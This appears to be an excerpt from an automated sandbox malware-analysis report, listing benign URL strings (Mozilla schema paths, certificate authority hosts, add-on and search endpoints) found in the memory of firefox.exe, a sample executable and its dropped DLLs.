Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsresource://gre/modul
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/branches/anyOf/0http
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsThe
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreadshttp://mozilla.org/#/properties/dnsMaxAnyPriori
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enableBookmarksToolbar
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRRhttp://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/idhttp://mozilla.org/#/properties/appIdhttp://mozilla.org/#/properti
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallbackhttp://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRolloutAn
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/featureIds/itemshttp
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollmenthttp://mozilla.org/#/properties/branches/anyOf/1/i
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersionhttp://mozilla.org/#/properties/slug
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000016.00000003.3253538885.00000189372A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabledhttp://mozilla.org/#/properties/forceWaitHttpsRRhttp://moz
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000016.00000003.2944458491.0000018934CCA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2952243394.00000189356A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3239348386.00000189367C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3065552835.0000018935747000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3172798196.00000189377B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2877885291.00000189377B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3401231388.00000189360D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3065918902.0000018935054000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3016545723.0000018934CC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3014247184.00000189356A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2987924737.0000018935057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2943371670.00000189360D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2890156235.000001893774B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3401231388.00000189360FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2970817554.0000018937DCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2885385426.0000018937DCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3395532884.0000018C0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3257437685.00000189367B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3257437685.000001893676C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3146083118.0000018C0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2943371670.00000189360FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: bfb8bb0dc7.exe, bfb8bb0dc7.exe, 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
Source: firefox.exe, 00000016.00000003.2987924737.0000018935057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3065632271.000001893551F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2986716743.0000018935C23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2988020236.00000189337DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3174842244.000001893551F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3061352644.000001893784F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3172655904.000001893784F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000016.00000003.2932981403.00000189378A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP
Source: firefox.exe, 00000016.00000003.2932981403.00000189378A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3061352644.000001893784F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulp
Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3126655356.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: mozilla-temp-41.22.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: firefox.exe, 00000016.00000003.2840438082.000001893534A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2826493925.0000018935100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2835272663.0000018935329000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: BGCAFHCA.11.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/p
Source: bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/pnaclte?q=
Source: firefox.exe, 00000016.00000003.3028942370.000001893914C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2885095036.0000018937DE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000016.00000003.3358984869.00000189445A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000016.00000003.3066184197.00000189337DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2988020236.00000189337DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/enhancer-for-youtube/
Source: firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/facebook-container/
Source: firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/reddit-enhancement-suite/
Source: firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/to-google-translate/
Source: firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/wikipedia-context-menu-search/
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4128570/languagetool-7.1.13.xpi
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4134489/enhancer_for_youtube-2.0.119.1.xpi
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
Source: firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f
